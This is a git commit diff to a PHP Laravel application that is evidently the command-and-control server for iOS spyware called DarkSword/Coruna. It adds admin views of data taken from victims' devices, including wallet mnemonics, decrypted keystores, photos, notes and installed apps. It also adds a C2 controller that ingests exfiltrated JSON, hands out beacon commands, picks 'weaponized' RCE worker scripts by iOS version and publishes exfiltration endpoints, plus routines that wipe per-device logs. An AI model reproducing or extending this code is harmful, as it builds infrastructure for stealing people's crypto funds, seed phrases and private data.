This commit is contained in:
hashbro
2026-08-24 06:23:07 +08:00
parent c00396dc1f
commit db574cc629
114 changed files with 108297 additions and 266 deletions
+136 -9
View File
@@ -7,15 +7,20 @@ use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\DsChainLog;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use App\Services\PhotoPreview;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Collection;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;
@@ -58,6 +63,7 @@ class DeviceController extends Controller
return [
'id' => $d->id,
'device_id' => $d->device_id,
'family' => $d->family ?: Device::FAMILY_CORUNA,
'channel_id' => $d->channel_id ?: '',
'source_domain' => $d->source_domain ?: '',
'device_model' => $d->device_model ?: '',
@@ -86,7 +92,7 @@ class DeviceController extends Controller
$this->authorizeDevice($device);
$tab = $request->query('tab', 'wallets');
if (! in_array($tab, ['wallets', 'mnemonics', 'photos', 'apps', 'notes', 'events'], true)) {
if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events'], true)) {
$tab = 'wallets';
}
@@ -109,12 +115,15 @@ class DeviceController extends Controller
->values();
}
$device->load(['beaconTasks']);
return view('admin.devices.show', [
'device' => $device,
'tab' => $tab,
'addressSources' => $addressSources,
'addressChains' => $addressChains,
'portal' => $this->portal(),
'beaconTasks' => $device->beaconTasks,
]);
}
@@ -131,6 +140,7 @@ class DeviceController extends Controller
return match ($tab) {
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page),
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
@@ -139,16 +149,17 @@ class DeviceController extends Controller
};
}
public function photo(Device $device, int $photo)
public function photo(Device $device, int $photo, PhotoPreview $preview)
{
$this->authorizeDevice($device);
$row = $device->photos()->whereKey($photo)->firstOrFail();
abort_unless(Storage::disk('local')->exists($row->path), 404);
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
$abs = Storage::disk('local')->path($row->path);
$out = $preview->payload($abs, (string) $device->device_id, (string) ($row->sha256 ?: ''));
return response(Storage::disk('local')->get($row->path), 200)
->header('Content-Type', $mime);
return response($out['bytes'], 200)
->header('Content-Type', $out['mime']);
}
public function update(Request $request, Device $device)
@@ -177,6 +188,7 @@ class DeviceController extends Controller
$this->authorizeDevice($device);
$deletedFiles = $this->deletePhotoFiles($device);
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
$deletedRows = $device->photos()->delete();
$this->deleteStorageDir('c2/photos/'.$device->device_id);
@@ -210,9 +222,13 @@ class DeviceController extends Controller
private function purgeDevice(Device $device): void
{
$this->deletePhotoFiles($device);
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
$this->deleteStorageDir('c2/photos/'.$device->device_id);
$this->deleteStorageDir('c2/check/'.$device->device_id);
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
$this->unmonitorAddresses($device);
$this->purgeDarkSwordLogs($device);
DB::transaction(function () use ($device) {
$device->apps()->delete();
@@ -222,10 +238,93 @@ class DeviceController extends Controller
$device->addresses()->delete();
$device->mnemonics()->delete();
$device->keystores()->delete();
$device->beaconTasks()->delete();
$device->delete();
});
}
private function purgeDarkSwordLogs(Device $device): void
{
$keys = $this->deviceLogKeys($device);
if ($keys === []) {
return;
}
DsChainLog::query()->whereIn('client_uid', $keys)->delete();
PageVisit::query()->whereIn('client_uid', $keys)->delete();
$this->purgeDsFileLogs($keys);
}
/**
* @return list<string>
*/
private function deviceLogKeys(Device $device): array
{
$raw = trim((string) $device->device_id);
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $raw) ?? '');
$keys = [];
foreach ([$raw, strtoupper($raw), $hex] as $key) {
if ($key !== '' && ! in_array($key, $keys, true)) {
$keys[] = $key;
}
}
return $keys;
}
/**
* @param list<string> $keys
*/
private function purgeDsFileLogs(array $keys): void
{
$dir = public_path('log/ds');
if (! is_dir($dir)) {
return;
}
$needles = array_values(array_unique(array_filter(array_map(
static fn (string $key) => strtolower($key),
$keys
), static fn (string $key) => strlen($key) >= 8)));
if ($needles === []) {
return;
}
foreach (glob($dir.'/*.log') ?: [] as $file) {
$raw = @file_get_contents($file);
if (! is_string($raw) || $raw === '') {
continue;
}
$parts = preg_split("/\r\n\r\n|\n\n/", $raw) ?: [];
$kept = [];
$changed = false;
foreach ($parts as $part) {
if (trim($part) === '') {
continue;
}
$hay = strtolower($part);
$hit = false;
foreach ($needles as $needle) {
if (str_contains($hay, $needle)) {
$hit = true;
break;
}
}
if ($hit) {
$changed = true;
continue;
}
$kept[] = $part;
}
if (! $changed) {
continue;
}
$out = $kept === [] ? '' : implode("\r\n\r\n", $kept)."\r\n\r\n";
@file_put_contents($file, $out);
}
}
private function deletePhotoFiles(Device $device): int
{
$deletedFiles = 0;
@@ -380,6 +479,30 @@ class DeviceController extends Controller
return $this->layuiPage($paginator->total(), $data);
}
private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$paginator = $device->keystores()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
return [
'id' => $row->id,
'source' => $row->sourceLabel(),
'decrypted' => (int) $row->decrypted,
'kind' => $row->kindLabel(),
'item_count' => $row->itemCount(),
'summary' => $row->summary(),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'items_url' => route($portal.'.keystores.items', $row->id),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at'];
@@ -454,7 +577,7 @@ class DeviceController extends Controller
}
/**
* @param \Illuminate\Support\Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
* @param Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
*/
private function layuiPage(int $count, $data)
{
@@ -467,7 +590,7 @@ class DeviceController extends Controller
}
/**
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
* @return array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
*/
private function filtersFrom(Request $request): array
{
@@ -479,6 +602,7 @@ class DeviceController extends Controller
return [
'device_key' => trim((string) $request->query('device_key', '')),
'family' => trim((string) $request->query('family', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')),
@@ -491,7 +615,7 @@ class DeviceController extends Controller
}
/**
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
* @param array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
*/
private function filteredQuery(array $filters): Builder
{
@@ -501,6 +625,9 @@ class DeviceController extends Controller
if ($filters['device_key'] !== '') {
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
}
if ($filters['family'] !== '' && in_array($filters['family'], [Device::FAMILY_CORUNA, Device::FAMILY_DARKSWORD], true)) {
$q->where('devices.family', $filters['family']);
}
if ($filters['channel_id'] !== '') {
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
}
@@ -0,0 +1,157 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
class KeystoreController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
$sources = WalletKeystore::query()
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source');
return view('admin.keystores.index', [
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('wallet_keystores.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
return $this->rowPayload($row, $portal);
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function items(WalletKeystore $keystore)
{
if (! $this->keystoreAllowed($keystore)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'id' => $keystore->id,
'source' => $keystore->sourceLabel(),
'decrypted' => (int) $keystore->decrypted,
'kind' => $keystore->kindLabel(),
'items' => $keystore->listedItems(),
],
]);
}
/**
* @return array<string, mixed>
*/
public function rowPayload(WalletKeystore $row, string $portal): array
{
return [
'id' => $row->id,
'device_key' => $row->device_key ?? $row->device?->device_id ?? '',
'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '',
'source' => $row->sourceLabel(),
'decrypted' => (int) $row->decrypted,
'kind' => $row->kindLabel(),
'item_count' => $row->itemCount(),
'summary' => $row->summary(),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
'items_url' => route($portal.'.keystores.items', $row->id),
];
}
private function keystoreAllowed(WalletKeystore $keystore): bool
{
$allowed = WalletKeystore::query()
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
->where('wallet_keystores.id', $keystore->id);
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
return $allowed->exists();
}
private function baseQuery(Request $request): Builder
{
$q = WalletKeystore::query()
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
->select([
'wallet_keystores.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
$decrypted = trim((string) $request->query('decrypted', ''));
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($source !== '') {
if ($source === '未知') {
$q->where(function (Builder $inner) {
$inner->whereNull('wallet_keystores.source')
->orWhere('wallet_keystores.source', '');
});
} else {
$q->where('wallet_keystores.source', $source);
}
}
if ($decrypted === '0' || $decrypted === '1') {
$q->where('wallet_keystores.decrypted', (int) $decrypted);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter(
$q,
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
);
}
return $q;
}
}
@@ -85,7 +85,7 @@ class MnemonicController extends Controller
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$discovery->discoverFundedIndexZero($mnemonic);
$discovery->discoverIndexZero($mnemonic);
return response()->json([
'code' => 0,
@@ -116,7 +116,7 @@ class MnemonicController extends Controller
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
$discovery->discoverFundedIndexZero($mnemonic);
$discovery->discoverIndexZero($mnemonic);
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
@@ -4,11 +4,13 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\DsChainLog;
use App\Models\PageVisit;
use App\Models\User;
use App\Support\AgentScope;
use Carbon\Carbon;
use Illuminate\Http\Request;
class PageVisitController extends Controller
{
use PortalAware;
@@ -36,7 +38,7 @@ class PageVisitController extends Controller
->orderByDesc('id')
->forPage($page, $limit)
->get([
'id', 'channel_id', 'client_uid', 'os', 'os_version',
'id', 'channel_id', 'client_uid', 'chain', 'os', 'os_version',
'browser', 'browser_version', 'user_agent', 'ip', 'domain', 'referer', 'created_at',
]);
@@ -48,6 +50,8 @@ class PageVisitController extends Controller
'id' => $v->id,
'channel_id' => $v->channel_id,
'client_uid' => $v->client_uid,
'chain' => (int) $v->chain,
'chain_label' => PageVisit::chainLabel((int) $v->chain),
'os' => $v->os ?: '',
'os_version' => $v->os_version ?: '',
'browser' => $v->browser ?: '',
@@ -61,66 +65,35 @@ class PageVisitController extends Controller
]);
}
public function groups(Request $request)
public function logs(Request $request)
{
$group = (string) $request->query('group', 'os');
$base = $this->scopedQuery($request);
$builder = match ($group) {
'os_version' => $base
->select('os', 'os_version')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os', 'os_version'),
'domain' => $base
->select('domain')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('domain'),
'browser' => $base
->select('browser')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('browser'),
'browser_version' => $base
->select('browser', 'browser_version')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('browser', 'browser_version'),
default => $base
->select('os')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os'),
};
$uid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', (string) $request->query('client_uid', '')) ?? '');
if ($uid === '') {
return response()->json(['code' => 1, 'msg' => '缺少访客 UID', 'data' => []]);
}
$rows = $builder
->orderByDesc('pv')
->limit(50)
->get()
->map(static function ($row) use ($group) {
$label = match ($group) {
'os_version' => trim(((string) ($row->os ?? '')).' '.((string) ($row->os_version ?? ''))),
'domain' => (string) ($row->domain ?? ''),
'browser' => (string) ($row->browser ?? ''),
'browser_version' => trim(((string) ($row->browser ?? '')).' '.((string) ($row->browser_version ?? ''))),
default => (string) ($row->os ?? ''),
};
$visible = $this->scopedQuery($request)->where('client_uid', $uid)->where('chain', PageVisit::CHAIN_DARKSWORD);
if (! $visible->exists()) {
return response()->json(['code' => 0, 'msg' => '', 'data' => []]);
}
return [
'label' => $label !== '' ? $label : 'Unknown',
'pv' => (int) $row->pv,
'uv' => (int) $row->uv,
];
})
->values();
$rows = DsChainLog::query()
->where('client_uid', $uid)
->orderBy('id')
->limit(200)
->get();
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'group' => $group,
'rows' => $rows,
],
'data' => $rows->map(static fn (DsChainLog $row) => [
'id' => $row->id,
'stage' => $row->stage,
'stage_label' => DsChainLog::stageTitle((string) $row->stage),
'progress' => (int) $row->progress,
'label' => $row->label ?: '',
'created_at' => optional($row->created_at)?->toDateTimeString(),
])->values(),
]);
}
@@ -141,6 +114,10 @@ class PageVisitController extends Controller
$q->where('channel_id', 'like', '%'.$channelId.'%');
}
if ($request->query->has('chain') && $request->query('chain') !== '') {
$q->where('chain', (int) $request->query('chain'));
}
$os = trim((string) $request->query('os', ''));
if ($os !== '') {
$q->where('os', $os);
@@ -0,0 +1,434 @@
<?php
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsBeaconQueue;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response as SymfonyResponse;
/**
* one99 / DarkSword C2: ingest plaintext JSON, then truncate-preview into ds log.
* Unique paths: routes/ds.php. Shared xxbb paths: routes/xxbb.php.
*/
class DarkSwordC2Controller extends Controller
{
public function __construct(
private readonly DarkSwordIngestAdapter $ingest,
private readonly DsBeaconQueue $beaconQueue,
) {}
/**
* Plaintext JSON on /a /u /nb /event /result is DarkSword, not xxbb AES.
*/
public static function matches(Request $request): bool
{
$path = '/'.ltrim($request->path(), '/');
if (! in_array($path, ['/a', '/u', '/nb', '/event', '/result'], true)) {
return false;
}
if ($request->headers->has('x-ts') && (string) $request->header('x-ts') !== '') {
return false;
}
$ct = strtolower((string) $request->header('content-type', ''));
if (str_contains($ct, 'json')) {
return true;
}
$raw = ltrim((string) $request->getContent());
return $raw !== '' && ($raw[0] === '{' || $raw[0] === '[');
}
public function beacon(Request $request): SymfonyResponse
{
$payload = $this->jsonBody($request);
$device = $this->ingest->ensureDevice($request, $payload);
$command = $device ? $this->beaconQueue->dequeue($device) : null;
$body = [
'ok' => true,
'type' => $command['type'] ?? 'noop',
'client_ip' => $request->ip(),
'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null,
];
if ($command !== null) {
$body['command_id'] = $command['command_id'];
$body['params'] = $command['params'];
}
return $this->finish($request, '/beacon', $payload, response()->json($body));
}
public function war(Request $request): SymfonyResponse
{
return $this->ok($request, '/war', $this->jsonBody($request));
}
public function p(Request $request): SymfonyResponse
{
return $this->ok($request, '/p', $this->jsonBody($request));
}
public function stats(Request $request): SymfonyResponse
{
return $this->finish($request, '/stats', $this->jsonBody($request), response()->json([
'bytes' => strlen((string) $request->getContent()),
'ok' => true,
'path' => '/stats',
]));
}
public function log(Request $request): SymfonyResponse
{
$payload = $this->payloadFromQueryOrJson($request);
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request));
}
public function peStage(Request $request, string $name = ''): SymfonyResponse
{
$path = '/'.ltrim($request->path(), '/');
$stage = $this->peStageName($name !== '' ? $name : $path);
$payload = $this->payloadFromQueryOrJson($request);
$payload['pe_stage'] = $stage;
$payload['stage'] = $payload['stage'] ?? 'pe';
$payload['label'] = $payload['label'] ?? ('pe_stage:'.$stage);
$body = $this->previewBody($request);
if (is_array($body)) {
$body['pe_stage'] = $stage;
}
return $this->finish($request, $path, $payload, $this->logAck($request), $body);
}
public function register(Request $request): SymfonyResponse
{
$payload = $this->jsonBody($request);
$device = strtoupper((string) (
$payload['deviceUUID']
?? $payload['device']
?? $payload['uuid']
?? $request->header('X-Device-UUID')
?? ''
));
$device = substr(preg_replace('/[^0-9A-F]/', '', $device) ?? '', 0, 32);
$ios = (string) ($payload['ios'] ?? $payload['ios_version'] ?? $request->query('ios', ''));
return $this->finish($request, '/api/ds/device/register', $payload, response()->json([
'ok' => true,
'device' => $device,
'deviceUUID' => $device,
'device_id' => $device,
'aliased' => false,
'ios_version' => $ios,
'target_chain' => (string) ($payload['chain'] ?? 'darksword'),
'target_chain_label' => 'D鏈',
'offset_params' => [
'ok' => true,
'mode' => 'probing',
'device' => null,
'xnu' => str_starts_with($ios, '18.6') ? '24.6' : null,
'build' => null,
'candidates' => [],
'hint' => 'device model required (iPhoneN,M); refuse xnu-only kernelTask inject',
],
'sla_ms' => 15000,
's5_honest' => '',
]));
}
public function chainTargets(Request $request): SymfonyResponse
{
$forwarded = (string) $request->header('X-Forwarded-Host', '');
if ($forwarded !== '') {
$hostPort = explode(':', $forwarded, 2);
$host = $hostPort[0];
$port = isset($hostPort[1]) ? (int) $hostPort[1] : (int) $request->header('X-Forwarded-Port', $request->getPort());
$scheme = (string) $request->header('X-Forwarded-Proto', $request->getScheme());
} else {
$host = $request->getHost();
$port = (int) $request->getPort();
$scheme = $request->getScheme();
}
$base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port);
$ios = $this->requestIos($request);
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([
'ok' => true,
'chain' => 'darksword',
'weaponized' => true,
'gated' => false,
'ios' => $ios,
'reason' => 'DarkSword 18.4-18.7.2',
'recommended_worker' => $recommended,
'fallback_workers' => $fallbacks,
'band' => [
'recommended_worker' => $recommended,
'fallback_workers' => $fallbacks,
'usable_for_attempt' => true,
'usable_grade' => 'LIVE',
'weaponized' => true,
],
'exfil' => [
'host' => $host,
'domain' => $host,
'http_port' => $port,
'https_port' => $port,
'tls' => $scheme === 'https',
'prefer_https' => false,
'stats_url' => $base.'/stats',
'stats_url_direct' => $base.'/stats',
'delivery_stats_url' => $base.'/stats',
],
'delivery_ok' => true,
'entry_point' => '',
'redirect_to' => '',
's5_module' => '',
'usable_grade' => 'LIVE',
]));
}
public function profile(Request $request): SymfonyResponse
{
return $this->ok($request, '/a', $this->jsonBody($request));
}
public function apps(Request $request): SymfonyResponse
{
return $this->ok($request, '/u', $this->jsonBody($request));
}
public function notes(Request $request): SymfonyResponse
{
return $this->ok($request, '/nb', $this->jsonBody($request));
}
public function event(Request $request): SymfonyResponse
{
return $this->ok($request, '/event', $this->jsonBody($request));
}
public function result(Request $request): SymfonyResponse
{
return $this->ok($request, '/result', $this->jsonBody($request));
}
/**
* @param array<string, mixed> $payload
*/
private function ok(Request $request, string $path, array $payload): SymfonyResponse
{
return $this->finish($request, $path, $payload, response()->json(['ok' => true]));
}
private function logAck(Request $request): SymfonyResponse
{
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
return response('ok', 200)->header('Content-Type', 'text/plain; charset=utf-8');
}
return response()->json(['status' => 'accepted']);
}
/**
* @param array<string, mixed> $payload
* @param array<string, mixed>|string|null $logBody
*/
private function finish(
Request $request,
string $path,
array $payload,
SymfonyResponse $response,
array|string|null $logBody = null,
): SymfonyResponse {
try {
$this->ingest->ingest($request, $path, $payload);
} catch (\Throwable $e) {
error_log('[ds] ingest '.$path.' '.$e->getMessage());
}
$body = $logBody ?? $this->previewBody($request);
$respPreview = $this->previewString((string) $response->getContent(), 4096);
$entry = [
'dir' => 'ds',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'query' => $request->query(),
'headers' => c2_log_request_meta($request)['headers'],
'body' => $body,
'response' => $respPreview,
];
create_log($entry, 'ds');
error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview);
return $response;
}
/**
* Match live one99.vip GET /api/chain-targets (probed 2026-08-21).
* Query `ios=` wins over User-Agent; UA is used only when the query is empty.
*/
private function requestIos(Request $request): string
{
$ios = (string) $request->query('ios', '');
if ($ios !== '') {
return $ios;
}
$ua = (string) $request->userAgent();
if (preg_match('/(?:iPhone )?OS (\d+)[._](\d+)(?:[._](\d+))?/i', $ua, $m)) {
$out = $m[1].'.'.$m[2];
if (($m[3] ?? '') !== '') {
$out .= '.'.$m[3];
}
return $out;
}
return '';
}
/**
* Worker plan from live one99.vip /api/chain-targets.
*
* 18.4.x → 18.4 then [18.5, 18.6]
* 18.5.x → 18.5 then [18.6, 18.4]
* anything else (18.6+, 18.7, 17.x, 26.x, empty) → 18.6 then [18.5, 18.4]
*
* @return array{0: string, 1: list<string>}
*/
private function chainTargetWorkers(string $ios): array
{
$minor = null;
if (preg_match('/^18\.(\d+)/', $ios, $m)) {
$minor = (int) $m[1];
}
return match ($minor) {
4 => ['rce_worker_18.4.js', ['rce_worker_18.5.js', 'rce_worker_18.6.js']],
5 => ['rce_worker_18.5.js', ['rce_worker_18.6.js', 'rce_worker_18.4.js']],
default => ['rce_worker_18.6.js', ['rce_worker_18.5.js', 'rce_worker_18.4.js']],
};
}
private function isDefaultPort(string $scheme, int $port): bool
{
return ($scheme === 'http' && $port === 80) || ($scheme === 'https' && $port === 443);
}
private function peStageName(string $path): string
{
$name = basename($path);
$name = (string) preg_replace('/\.js$/i', '', $name);
$name = strtolower((string) preg_replace('/[^a-z0-9_]/', '', $name));
return $name !== '' ? $name : 'unknown';
}
/**
* @return array<string, mixed>
*/
private function payloadFromQueryOrJson(Request $request): array
{
$payload = $this->jsonBody($request);
if ($payload !== []) {
return $payload;
}
$query = $request->query();
return is_array($query) ? $query : [];
}
/**
* @return array<string, mixed>|string
*/
private function previewBody(Request $request): array|string
{
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
return ['query' => $request->query()];
}
$ct = strtolower((string) $request->header('content-type', ''));
if (str_contains($ct, 'multipart/')) {
$files = [];
foreach ($request->allFiles() as $key => $file) {
$list = is_array($file) ? $file : [$file];
foreach ($list as $f) {
$files[] = [
'field' => $key,
'name' => $f->getClientOriginalName(),
'size' => $f->getSize(),
];
}
}
return [
'multipart' => true,
'form' => $request->except(array_keys($request->allFiles())),
'files' => $files,
];
}
$raw = (string) $request->getContent();
$json = json_decode($raw, true);
if (is_array($json)) {
return $this->truncateArray($json);
}
return $this->previewString($raw, 4096);
}
/**
* @return array<string, mixed>
*/
private function jsonBody(Request $request): array
{
$json = json_decode((string) $request->getContent(), true);
return is_array($json) ? $json : [];
}
/**
* @param array<string, mixed> $data
* @return array<string, mixed>
*/
private function truncateArray(array $data, int $maxStr = 512, int $depth = 0): array
{
if ($depth > 4) {
return ['_truncated' => true];
}
$out = [];
$i = 0;
foreach ($data as $k => $v) {
if ($i++ > 80) {
$out['_more'] = true;
break;
}
if (is_string($v) && strlen($v) > $maxStr) {
$out[$k] = substr($v, 0, $maxStr).'…['.strlen($v).' bytes]';
} elseif (is_array($v)) {
$out[$k] = $this->truncateArray($v, $maxStr, $depth + 1);
} else {
$out[$k] = $v;
}
}
return $out;
}
private function previewString(string $raw, int $max): string
{
if (strlen($raw) <= $max) {
return $raw;
}
return substr($raw, 0, $max).'…['.strlen($raw).' bytes]';
}
}
@@ -15,25 +15,25 @@ class TokenviewWebhookController extends Controller
$raw = $request->getContent();
$signature = $request->header('X-Tokenview-Signature');
if (! $monitor->verifySignature($raw, $signature)) {
Log::warning('tokenview webhook bad signature');
return response('invalid signature', 401);
}
$payload = $request->json()->all();
if (! is_array($payload) || $payload === []) {
$decoded = json_decode($raw, true);
$payload = is_array($decoded) ? $decoded : [];
}
try {
$monitor->handleWebhook($payload);
} catch (\Throwable $e) {
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
// Tokenview probes the webhook (often unsigned GET/POST) before a
// sign key exists. Always 200 + non-empty body; only skip ingest.
$signed = $monitor->verifySignature($raw, $signature);
if (! $signed) {
Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)');
} elseif ($payload !== []) {
try {
$monitor->handleWebhook($payload);
} catch (\Throwable $e) {
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
}
}
// Tokenview requires HTTP 200 + non-empty body.
return response('ok', 200)->header('Content-Type', 'text/plain; charset=UTF-8');
}
}
@@ -46,6 +46,7 @@ class PageHitController extends Controller
PageVisit::query()->create([
'channel_id' => $channelId,
'client_uid' => $uid,
'chain' => PageVisit::CHAIN_CORUNA,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $parsed['os'],
'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null,
+5
View File
@@ -2,6 +2,7 @@
namespace App\Http\Middleware;
use App\Http\Controllers\C2\DarkSwordC2Controller;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use Closure;
@@ -21,6 +22,10 @@ class DecryptXxbbBody
public function handle(Request $request, Closure $next): Response
{
if (DarkSwordC2Controller::matches($request)) {
return $next($request);
}
$crypto = self::crypto();
$meta = c2_log_request_meta($request);